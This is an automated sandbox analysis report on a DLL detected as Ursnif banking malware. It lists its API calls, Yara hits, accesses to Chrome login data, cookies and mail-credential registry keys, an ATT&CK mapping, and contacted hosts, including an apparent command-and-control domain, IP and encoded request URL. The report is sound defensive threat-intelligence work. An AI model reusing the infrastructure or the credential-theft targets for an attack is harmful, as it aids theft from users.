Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 1_2_04A86204 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

1_2_04A86204

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 1_2_04A85F3A RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

1_2_04A85F3A

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 1_2_04A83C98 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

1_2_04A83C98

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000001.00000003.261787991.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261868993.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261831474.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261898772.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261995232.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.441296482.0000000002FB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.446420368.0000024E31FF5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.365991031.000000000532C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.423867966.0000000002940000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261930125.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.515638073.0000024340635000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.446120837.00000000006D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.445169971.0000024E32160000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261629754.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261360311.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.416910277.0000020EA8E70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.432292653.000002090C820000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.482163983.0000000002910000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.519882408.0000026754D05000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: control.exe PID: 6968, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 4360, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4760, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_3
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_2
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_1
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_0
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\appdata\local\google\chrome\user data\default\login data
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000005
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000003
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000004
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000001
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\index
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
Source: C:\Windows\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000001.00000003.261787991.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261868993.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261831474.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261898772.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261995232.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.441296482.0000000002FB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.446420368.0000024E31FF5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.365991031.000000000532C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.423867966.0000000002940000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261930125.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.515638073.0000024340635000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.446120837.00000000006D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.445169971.0000024E32160000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261629754.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261360311.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.416910277.0000020EA8E70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.432292653.000002090C820000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.482163983.0000000002910000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.519882408.0000026754D05000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: control.exe PID: 6968, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 4360, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4760, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	DLL Side-Loading1	DLL Side-Loading1	Obfuscated Files or Information1	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter1	Boot or Logon Initialization Scripts	Process Injection812	DLL Side-Loading1	Credential API Hooking3	Account Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	PowerShell1	Logon Script (Windows)	Logon Script (Windows)	Rootkit4	Input Capture1	File and Directory Discovery2	SMB/Windows Admin Shares	Email Collection11	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Masquerading1	NTDS	System Information Discovery36	Distributed Component Object Model	Credential API Hooking3	Scheduled Transfer	Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Virtualization/Sandbox Evasion5	LSA Secrets	Query Registry1	SSH	Input Capture1	Data Transfer Size Limits	Proxy1	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Process Injection812	Cached Domain Credentials	Security Software Discovery31	VNC	Clipboard Data1	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Regsvr321	DCSync	Virtualization/Sandbox Evasion5	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Rundll321	Proc Filesystem	Process Discovery3	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Right-to-Left Override	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vnaSKDMnLG.dll	12%	Virustotal		Browse
vnaSKDMnLG.dll	100%	Avira	TR/AD.Ursnif.AD

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.2.regsvr32.exe.4a80000.2.unpack	100%	Avira	HEUR/AGEN.1108168		Download File

Domains

Source	Detection	Scanner	Link
tls13.taboola.map.fastly.net	0%	Virustotal	Browse
groovcerl.xyz	1%	Virustotal	Browse
edge.gycpi.b.yahoodns.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://constitution.org/usdeclar.txtC:	0%	Avira URL Cloud	safe
http://https://file://USER.ID%lu.exe/upd	0%	Avira URL Cloud	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://groovcerl.xyz/imaA	0%	Avira URL Cloud	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://cgi.search.biglobe.ne.jp/favicon.ico	0%	Avira URL Cloud	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://buscar.ozu.es/	0%	Avira URL Cloud	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://groovcerl.xyz/images/_2B9CjQr1xAViB33KLEZFl/2znYpePgiBaym/Zcv7ASeM/RH1S7KGYN6l8JiGWg4e9nXb/NQZq1SSxJi/mc5yp3cGYcmh41_2B/sgGwdOmEGgkx/5KQWfRKKgWK/Xt2u1awqIScbRf/sgOFy4dR5ErSJgERDDH7r/_2FEWj4i_2BFzqwq/_2BgPzFAK8qrY4B/dRdOEARjck/1iLUKWQnn/K.avi	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://www.ozu.es/favicon.ico	0%	Avira URL Cloud	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://groovcerl.xyz/images/_2B9CjQr1xAViB33KLEZFl/2znYpePgiBaym/Zcv7ASeM/RH1S7KGYN6l8JiGWg4e9nXb/NQ	0%	Avira URL Cloud	safe
http://crl.osofts/Microt0	0%	Avira URL Cloud	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe
http://buscador.terra.es/	0%	URL Reputation	safe
http://buscador.terra.es/	0%	URL Reputation	safe
http://buscador.terra.es/	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
contextual.media.net	104.80.21.70	true	false		high
tls13.taboola.map.fastly.net	151.101.1.44	true	false	0%, Virustotal, Browse	unknown
hblg.media.net	104.80.21.70	true	false		high
lg3.media.net	104.80.21.70	true	false		high
groovcerl.xyz	162.0.213.230	true	false	1%, Virustotal, Browse	unknown
resolver1.opendns.com	208.67.222.222	true	false		high
edge.gycpi.b.yahoodns.net	87.248.118.23	true	false	0%, Virustotal, Browse	unknown
www.msn.com	unknown	unknown	false		high
srtb.msn.com	unknown	unknown	false		high
assets.onestore.ms	unknown	unknown	true		unknown
img.img-taboola.com	unknown	unknown	true		unknown
ajax.aspnetcdn.com	unknown	unknown	false		high
s.yimg.com	unknown	unknown	false		high
web.vortex.data.msn.com	unknown	unknown	false		high
cvision.media.net	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://groovcerl.xyz/images/_2B9CjQr1xAViB33KLEZFl/2znYpePgiBaym/Zcv7ASeM/RH1S7KGYN6l8JiGWg4e9nXb/NQZq1SSxJi/mc5yp3cGYcmh41_2B/sgGwdOmEGgkx/5KQWfRKKgWK/Xt2u1awqIScbRf/sgOFy4dR5ErSJgERDDH7r/_2FEWj4i_2BFzqwq/_2BgPzFAK8qrY4B/dRdOEARjck/1iLUKWQnn/K.avi	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://search.chol.com/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.mercadolivre.com.br/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.merlin.com.pl/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.ebay.de/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.mtv.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.rambler.ru/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.nifty.com/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.dailymail.co.uk/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www3.fnac.com/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://buscar.ya.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://search.yahoo.com/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://constitution.org/usdeclar.txtC:	powershell.exe, 00000016.00000003.416910277.0000020EA8E70000.00000004.00000001.sdmp, explorer.exe, 0000001E.00000003.441296482.0000000002FB0000.00000004.00000001.sdmp, control.exe, 0000001F.00000002.446120837.00000000006D5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://https://file://USER.ID%lu.exe/upd	powershell.exe, 00000016.00000003.416910277.0000020EA8E70000.00000004.00000001.sdmp, explorer.exe, 0000001E.00000003.441296482.0000000002FB0000.00000004.00000001.sdmp, control.exe, 0000001F.00000002.446120837.00000000006D5000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	low
http://www.sogou.com/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers	explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	false		high
http://asp.usatoday.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://fr.search.yahoo.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://rover.ebay.com	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://in.search.yahoo.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://img.shopzilla.com/shopzilla/shopzilla.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://ocsp.pki.goog/gts1o1core0	explorer.exe, 0000001E.00000002.527166930.00000000048F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.ebay.in/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://image.excite.co.jp/jp/favicon/lep.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000016.00000002.479407325.0000020EA04B2000.00000004.00000001.sdmp	false		high
http://www.galapagosdesign.com/DPlease	explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://groovcerl.xyz/imaA	explorer.exe, 0000001E.00000000.440619372.000000000EE32000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://%s.com	explorer.exe, 0000001E.00000000.439561975.000000000DC70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://msk.afisha.ru/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.zhongyicts.com.cn	explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000016.00000002.449986423.0000020E90451000.00000004.00000001.sdmp	false		high
http://busca.igbusca.com.br//app/static/images/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.rediff.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.autoitscript.com/autoit3/J	explorer.exe, 0000001E.00000000.433254432.0000000006840000.00000004.00000001.sdmp	false		high
http://www.ya.com/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.etmall.com.tw/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://it.search.dada.net/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000016.00000003.389591293.0000020EA8997000.00000004.00000001.sdmp, powershell.exe, 00000016.00000002.450833084.0000020E9065E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.naver.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.google.ru/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://search.hanafos.com/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000016.00000002.450833084.0000020E9065E000.00000004.00000001.sdmp	false		high
http://cgi.search.biglobe.ne.jp/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.abril.com.br/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.daum.net/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000016.00000002.479407325.0000020EA04B2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.naver.com/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://search.msn.co.jp/results.aspx?q=	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.clarin.com/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://buscar.ozu.es/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://kr.search.yahoo.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://search.about.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://busca.igbusca.com.br/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.ask.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.priceminister.com/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000016.00000003.389591293.0000020EA8997000.00000004.00000001.sdmp, powershell.exe, 00000016.00000002.450833084.0000020E9065E000.00000004.00000001.sdmp	false		high
http://www.cjmall.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://search.centrum.cz/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.carterandcone.coml	explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://suche.t-online.de/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.google.it/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://search.auction.co.kr/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.ceneo.pl/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://www.amazon.de/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://sads.myspace.com/	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false		high
http://busca.buscape.com.br/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.pchome.com.tw/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://browse.guardian.co.uk/favicon.ico	explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
